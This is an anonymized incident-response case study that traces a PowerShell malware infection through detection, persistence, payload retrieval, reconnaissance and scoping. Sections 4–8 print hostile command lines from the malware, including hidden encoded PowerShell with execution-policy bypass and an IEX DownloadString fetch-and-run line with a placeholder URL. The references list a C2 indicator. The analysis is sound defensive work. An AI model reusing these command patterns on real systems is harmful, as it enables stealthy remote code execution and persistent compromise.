Investigating a Novel Threat

A PowerShell Malware Case Study

Author: Nicholas Kruger, Engineering Manager – Managed Services

External technical edition: anonymized for customer confidentiality while preserving investigative findings and lessons learned

Sanitization note
This external version removes customer names, exact hostnames, usernames, internal IP addresses, ticket references, and any client-identifying details. It intentionally keeps the technical substance: PowerShell behavior, persistence method, domain enumeration, cloud-payload retrieval, C2-style check-ins, scope validation, and exfiltration review.

1. Executive Technical Summary

This case study summarizes a real investigation into an Adlumin MDR alert titled “Anomalous PowerShell Activity.” The case began as a single behavioral alert against one workstation, but deeper threat hunting showed a broader PowerShell-based malware chain that had been active before the alert was escalated.

The investigation found hidden PowerShell execution, execution policy bypass, encoded commands, a suspicious script running from ProgramData, Startup-folder persistence masquerading as Microsoft Edge, remote payload retrieval through a public cloud service, recurring low-volume check-ins to suspicious infrastructure, and domain reconnaissance against Active Directory.

Current external-facing assessment
The affected workstation was compromised by PowerShell-based malware that established persistence, retrieved or attempted to retrieve remote payload content, checked in to suspicious infrastructure, and performed limited domain reconnaissance. Based on the reviewed threat hunting and firewall logs, we did not find evidence of lateral movement to other systems or bulk data exfiltration.

The vendor later confirmed that the activity was not detected earlier because the threat was novel. The alert was ultimately generated by machine-learning/anomaly detection based on the frequency of suspicious PowerShell execution. That confirmation is important: known-bad signatures did not tell the whole story. Human-led threat hunting did.

2. Why This Case Matters

This investigation is a reminder that security work is not just alerts, dashboards, or vendor verdicts. The alert gave the team the first thread to pull, but the full story only came together because analysts kept asking the next question.

The alert told us PowerShell was behaving anomalously. It did not tell us when the activity started, how the script arrived, whether persistence was established, whether the endpoint was checking in to suspicious infrastructure, whether similar indicators existed elsewhere, or whether data had left the environment.

The meaningful progress came from challenging the first assumption. We did not stop at “PowerShell is suspicious.” We asked what launched it, what it executed, what the encoded content did, what files were created, what network connections aligned with the process, whether the pattern appeared earlier, and whether the same indicators existed on other systems.

Analyst lesson
The alert is not the conclusion. The alert is the invitation to investigate.

3. Investigation Timeline

The timeline below is sanitized. Exact hostnames, usernames, internal IPs, and customer identifiers have been removed, but the sequence and technical meaning are preserved.

• Late April, initial browser event: A browser process under the affected user resolved a suspicious domain that mapped to suspicious infrastructure.
• Seconds later, interactive execution: Explorer launched obfuscated PowerShell under the user context. This suggested a user-session or browser-delivered trigger rather than a normal administrative action.
• Initial infrastructure contact: The obfuscated PowerShell contacted suspicious external infrastructure over HTTP/HTTPS.
• Host context discovery: PowerShell spawned whoami.exe /groups, which enumerates the user’s group memberships.
• ProgramData artifacts: PowerShell created artifacts under a suspicious ProgramData folder with random or wordlist-like naming.
• Recurring script execution: A PowerShell script from ProgramData began running with hidden window execution and execution policy bypass.
• Persistence: The script created a fake Microsoft Edge Startup shortcut that actually launched hidden encoded PowerShell.
• Remote payload retrieval: The encoded payload attempted to retrieve and execute additional PowerShell content from a public cloud-hosted download URL.
• Domain enumeration: A later execution spawned net.exe group “domain computers” /dom, indicating Active Directory computer enumeration.
• Detection: The MDR alert was generated after machine-learning/anomaly detection identified the recurring PowerShell execution pattern.

4. Initial Alert and Suspicious Command-Line Behavior

The initial alert surfaced suspicious PowerShell activity. The command-line behavior included a hidden window, execution policy bypass, and encoded command execution.

powershell.exe -w hidden -ep bypass -enc <encoded payload>

A related execution showed PowerShell launching a script from ProgramData using a similarly suspicious pattern:

powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File C:\ProgramData\<suspicious-folder>\<suspicious-script>.ps1

• -NoProfile: Avoids loading normal user PowerShell profile content.
• -ExecutionPolicy Bypass / -ep bypass: Runs the script regardless of local execution policy.
• -WindowStyle Hidden / -w hidden: Suppresses the visible PowerShell window.
• -enc: Executes an encoded payload, limiting readability in basic logs.
• ProgramData execution path: ProgramData is commonly abused because it can look application-related while still supporting persistence and staging.

5. Decoded and Interpreted PowerShell Behavior

Script block logging showed that the PowerShell activity was not simply an administrative script. The script created persistence, launched encoded PowerShell, and attempted remote code retrieval.

• Created Startup persistence: A shortcut named Microsoft Edge.lnk was written to the user Startup folder.
• Masqueraded as a legitimate app: The shortcut name and icon were intended to look like Microsoft Edge.
• Executed PowerShell instead of Edge: The shortcut target was PowerShell with hidden execution and encoded arguments.
• Launched a second stage: The script attempted to retrieve remote PowerShell code and execute it in memory.

%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Edge.lnk
powershell.exe -w hidden -ep bypass -enc <encoded payload>

6. Persistence Mechanism

The persistence mechanism was a fake Microsoft Edge shortcut placed in the user Startup folder. This is a simple but effective technique because Startup folder items execute when the user logs in, and the use of a trusted application name can hide the behavior from casual review.

This persistence was one of the most important findings. It changed the case from “suspicious PowerShell execution” to confirmed endpoint compromise with persistence.

Confirmed behavior
The shortcut did not launch Microsoft Edge. It launched hidden encoded PowerShell.

7. External Payload Retrieval and Cloud Service Abuse

The encoded payload attempted to retrieve and execute additional PowerShell content from a direct-download URL hosted on a public cloud service. The pattern used DownloadString and Invoke-Expression, meaning the remote content could be executed directly by PowerShell without being written to disk first.

IEX(New-Object Net.WebClient).DownloadString(<public-cloud-download-url>)

The team attempted to retrieve the referenced payload for review, but the file was no longer available by the time of investigation. This left the exact final payload unknown. The retrieval and execution pattern, however, was confirmed.

8. Domain Enumeration and Reconnaissance

One of the most important technical findings was domain enumeration. The suspicious PowerShell activity spawned the following command:

net.exe group "domain computers" /dom

This command queries Active Directory for domain computer accounts. In an intrusion context, that is meaningful reconnaissance. It helps malware or an operator understand what domain-joined systems exist and may support follow-on decisions such as lateral movement targeting, privilege assessment, or selective tasking.

Earlier in the chain, the malware also spawned:

whoami.exe /groups

That command reveals the current user’s group memberships and helps determine privilege context.

Assessment
The observed commands support limited domain and user-context reconnaissance. We did not find evidence that this reconnaissance progressed into confirmed lateral movement.

9. Novel Threat Detection and the Role of Machine Learning

The vendor later confirmed that the reason the activity was not detected earlier was that the threat was novel. The eventual alert was generated because machine-learning/anomaly detection identified the unusual frequency of PowerShell execution.

This distinction is critical. The detection was not simply a known-bad hash, known-bad script name, or known-bad domain match. The machine-learning system surfaced the recurring execution pattern, but manual investigation was required to explain the incident.

• Machine learning surfaced the anomaly: Recurring suspicious PowerShell execution crossed a behavioral threshold.
• Human investigation explained the event: Analysts connected command lines, script blocks, persistence, DNS, firewall logs, and timeline pivots into a coherent intrusion narrative.
• Known-bad matching was not enough: The threat included novel or uncommon indicators that were not initially detected by signature logic.

10. Threat Intelligence Context and Attribution Caution

During investigation, the team reviewed public threat-intelligence context for the observed external infrastructure. One observed C2-related IP:port was listed by ThreatFox as botnet C2 associated with Konni, with elevated confidence and tags including ClickFix and Konni. ThreatFox is an abuse.ch and Spamhaus platform for sharing indicators of compromise associated with malware. MITRE describes KONNI as a remote access tool that security researchers assess has been used by North Korean cyber actors since at least 2014.

This context is useful because it supports the conclusion that the activity was malicious C2/check-in behavior rather than benign PowerShell noise. However, it is not definitive attribution. IOC overlap alone does not prove the same operator, campaign, or nation-state actor. Infrastructure can be reused, proxied, shared, misclassified, or re-tagged over time.

Attribution wording
The defensible wording is: PowerShell-based malware/C2 activity with public threat-intelligence overlap to Konni-tagged infrastructure. This case does not prove confirmed North Korean APT activity.

11. Network Review and Exfiltration Assessment

The team reviewed firewall byte counts for suspicious destinations to determine whether traffic looked like payload retrieval, beaconing, or possible data exfiltration.

• Initial suspicious infrastructure: Traffic was primarily inbound to the workstation, including one session near one megabyte inbound and only a few kilobytes outbound. This pattern was more consistent with payload retrieval than exfiltration.
• Recurring C2-style destination: Repeated sessions were low volume, commonly small outbound requests followed by small inbound responses. This pattern was more consistent with beacon/check-in behavior than bulk data transfer.
• Cloud API activity: Cloud API lookups were seen during the immediate PowerShell execution window, but broader hunting did not identify sustained communication to those endpoints across the compromise window.

Exfiltration assessment
No evidence of bulk data exfiltration was identified from the reviewed firewall and threat hunting logs. That does not prove exfiltration was impossible, but the available byte counts did not support large-scale data transfer.

12. Scope Validation

The investigation included scope validation across the available logs. Analysts searched for the same suspicious script patterns, persistence artifacts, suspicious domains, suspicious IP addresses, cloud payload indicators, and recurring PowerShell behaviors across other systems.

• No matching indicators on other endpoints: The same activity and indicators were not identified elsewhere in the reviewed environment.
• No evidence of lateral movement: The domain enumeration command showed reconnaissance, but no matching evidence showed successful movement to another host.
• Single affected endpoint based on reviewed data: The activity appeared limited to the originally alerted workstation.

This is an important distinction for external communication. The incident was serious because the endpoint was compromised and persistence was established. However, reviewed logs did not show the compromise spreading across the network.

13. What Remained Unknown

• Original source: The earliest confirmed event was browser/DNS activity followed by Explorer-launched obfuscated PowerShell. The exact source, such as a malicious page, fake prompt, downloaded file, or clicked link, was not conclusively identified.
• Final cloud-hosted payload: The referenced payload was unavailable by the time of review, so the final downloaded code could not be directly analyzed.
• Exact recurring launcher: Startup persistence was confirmed, and a 40-minute cadence was observed. The exact scheduling mechanism for every recurring execution was not fully proven from the available logs.
• Operator intent beyond observed actions: The logs confirmed persistence, check-in behavior, payload retrieval, and reconnaissance. Higher-impact instructions such as credential dumping, lateral movement, ransomware deployment, or bulk exfiltration were not observed.

14. How the Investigation Was Performed

1. Reviewed the command line. The team identified hidden PowerShell, execution policy bypass, no-profile execution, encoded payloads, and a suspicious ProgramData script path.
2. Decoded and interpreted PowerShell behavior. Script block logs revealed Startup persistence, encoded PowerShell launch behavior, and remote payload retrieval using DownloadString and IEX.
3. Pivoted on artifacts. Analysts searched for the suspicious ProgramData path, script name, Startup shortcut, cloud payload identifier, domains, IPs, and process GUIDs.
4. Expanded the timeline. The team searched backward from the alert and found activity beginning weeks earlier than the alert timestamp.
5. Separated noise from signal. Normal Microsoft, security-tool, and unrelated application traffic was separated from process-linked suspicious traffic.
6. Reviewed firewall byte counts. Traffic volume was used to distinguish likely payload retrieval and low-volume beaconing from bulk exfiltration.
7. Validated scope. The team searched for matching indicators across other systems and did not find evidence of spread.
8. Escalated back to the vendor. The vendor was asked why the activity was detected late and whether deeper backend review could identify anything missed.

15. Lessons for Security Teams

• Do not stop at the alert title. An alert tells you where to start, not where to stop.
• PowerShell context matters. Hidden windows, encoded commands, bypass flags, and unusual paths should drive deeper review.
• Timeline expansion is essential. The alert timestamp may not be the initial compromise timestamp.
• Persistence changes severity. A fake Startup shortcut executing encoded PowerShell is confirmed compromise behavior.
• Reconnaissance matters. Commands like whoami /groups and net group “domain computers” /dom show the malware gathering operational context.
• Network byte counts are useful. Inbound-heavy traffic can indicate payload retrieval, while large outbound traffic would increase exfiltration concern.
• Threat intelligence is enrichment, not proof. Konni-tagged infrastructure overlap increased concern, but did not prove a specific nation-state actor.
• Human curiosity is still critical. Machine learning surfaced the anomaly; human investigation built the incident narrative.

16. Final External Assessment

This case began as a single anomalous PowerShell alert, but deeper threat hunting showed a multi-stage PowerShell malware chain involving browser-adjacent activity, obfuscated PowerShell, suspicious infrastructure, ProgramData artifacts, fake Microsoft Edge Startup persistence, remote payload retrieval, recurring C2-style check-ins, and domain enumeration.

The incident demonstrates why a true-positive alert deserves more than a severity label. In this case, the machine-learning detection was the beginning. The final understanding came from manually connecting process behavior, script blocks, persistence artifacts, DNS, firewall traffic, byte counts, timeline analysis, and scope validation.

The most important outcome was not just identifying that PowerShell was suspicious. It was understanding what the activity meant: a compromised endpoint with persistence and reconnaissance, but no evidence from reviewed logs of bulk data exfiltration or lateral movement.

References

• ThreatFox by abuse.ch and Spamhaus, IOC entry for 185.205.211.217:443, listed as botnet C2 associated with Konni, confidence 75%, tags including ClickFix and Konni. Accessed May 2026.
• MITRE ATT&CK, KONNI Software S0356, describing KONNI as a remote access tool assessed by researchers to have been used by North Korean cyber actors since at least 2014. Accessed May 2026.
• MITRE ATT&CK, PowerShell Technique T1059.001, describing adversary abuse of PowerShell for execution and discovery. Accessed May 2026.